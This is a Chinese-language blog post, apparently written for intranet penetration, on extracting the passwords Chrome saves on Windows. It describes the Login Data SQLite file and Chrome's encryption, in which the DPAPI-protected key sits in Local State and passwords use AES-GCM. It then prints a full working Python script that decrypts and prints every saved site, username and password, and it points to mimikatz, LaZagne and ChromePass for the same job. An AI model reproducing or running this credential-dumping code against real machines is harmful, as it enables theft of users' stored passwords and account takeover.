前言
最近在看跟内网有关的东西,前两天看到一篇文章在信息收集部分提到了导出Chrome所存储的密码,于是进行了复现,但是最新的文章已经是两三年前的了,Chrome本地密码存储文件的加密方式在后来也进行了修改,复现过程中也遇到了一些问题,仅此记录。
简介:
文本大概内容如下:
如何导出Chrome本地存储的密码
一些有用的相关工具
踩坑记录
内容:
Chrome密码的保存方式:
Chrome有一种为了方便用户登录而设置的密码存储机制。
在用户登陆成功后可选择保存密码,这样下次登录该网站时密码可自动补全。
该密码可在chrome中输入地址chrome://settings/passwords经过校验后查看:
经过校验后即可查看。
这些用户信息会存储在以SQLite数据库文件的方式存储在本地文件中。
文件路径为:
C:\Users\用户名(需要自己替换)\AppData\Local\Google\Chrome\User Data\Default\Login Data中
或%LocalAppData%\Google\Chrome\User Data\Default\Login Data
注:
%LocalAppData%为Windows的系统环境变量
%LocalAppData%==C:\Users\用户名(需要自己替换)\AppData\Local\
该文件为Sqlite数据库文件,我们可以用一些数据库管理软件打开。
这里用Navicat打开:
测试下连接。
可能会出现以下情况,这里我们关掉其他用到Sqlite数据库的进程即可。
注这里也需要关掉Chrome,以为它此时对Sqlite数据库是读状态。
关掉Chrome和其他数据库管理软件后:
确定后添加该连接 打开该文件就可以看到数据库中的信息:
这里的password_value是16进制的,也是经过二次加密的,所以没办法直接读取。
0x03 导出密码方法
最早可使用小技巧,通过修改前段标签属性password为text直接看到Chrome中存储的密码,但该bug早已被chrome修复:
修改后密码处会自动变空白:
在看过网上文章后,了解到本地存储密码的数据库文件加密方式为CryptProtectData(),编写python脚本读取密码字段值后调用解密函数即可解密,但该加密方法已经被Chrome修改。
参考加密代码:
https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107
CryptProtectData()的说明可参考:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx.aspx "https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx")
参考了与Cookie解密相关的文章了解到,现在的加密方法根据Chrome的版本有两种:
没有以“ v10”或“ v11”为前缀的加密值
以“ v10”或“ v11”为前缀的加密值
具体解密分析可参考文章:
http://www.meilongkui.com/archives/1904
结合前辈对Cookie解密使用的脚本进行了修改,编写了用于对密码解密的脚本:
# -*- coding=utf-8 -*- import os import json import base64 import sqlite3 import win32crypt from cryptography.hazmat.primitives.ciphers.aead import AESGCM def GetString(LocalState): with open(LocalState,‘r‘,encoding=‘utf-8‘) as f: s=json.load(f)[‘os_crypt‘][‘encrypted_key‘] return s def pull_the_key(base64_encrypted_key): encrypted_key_with_header=base64.b64decode(base64_encrypted_key) encrypted_key=encrypted_key_with_header[5:] key=win32crypt.CryptUnprotectData(encrypted_key,None,None,None,0)[1] return key def DecryptString(key,data): nonce,cipherbytes=data[3:15],data[15:] aesgcm=AESGCM(key) plainbytes=aesgcm.decrypt(nonce,cipherbytes,None) plaintext=plainbytes.decode(‘utf-8‘) return plaintext if __name__ == ‘__main__‘: LocalState= os.getenv("APPDATA") + r"\..\Local\Google\Chrome\User Data\Local State" Data = os.getenv("APPDATA") + r"\..\Local\Google\Chrome\User Data\Default\Login Data" con=sqlite3.connect(Data) con.text_factory = bytes res=con.execute(‘SELECT action_url, username_value, password_value FROM logins‘).fetchall() con.close() key=pull_the_key(GetString(LocalState)) for i in res: if not i[0]: pass else: print("action_url:" +" "+str(i[0])[1:]+" "+"username:" +" "+i[1].decode(‘utf-8‘)+" "+"password:" +" "+DecryptString(key, i[2]) + " ")
运行效果方法:
python ChromeCookiesDecrypt.py
(涉及到一些隐私进行了打码,还请见谅。)
工具github地址:
https://github.com/mc8023/Tools/blob/main/ChromePwdDecrypt.py
其他有很多其他浏览器也用了Chrome的内核,读取密码方法类似,可供参考。
一些其他的Chrome密码导出方法:
工具ChromePass:https://www.t00ls.net/articles-52330.html
工具mimikatz:http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/
工具lazagne:https://cloud.tencent.com/developer/article/1521627
参考文章:
http://www.meilongkui.com/archives/1904
https://blog.csdn.net/catshitone/article/details/70238163
https://xz.aliyun.com/t/2000
原文:https://www.cnblogs.com/mc8023/p/14697752.html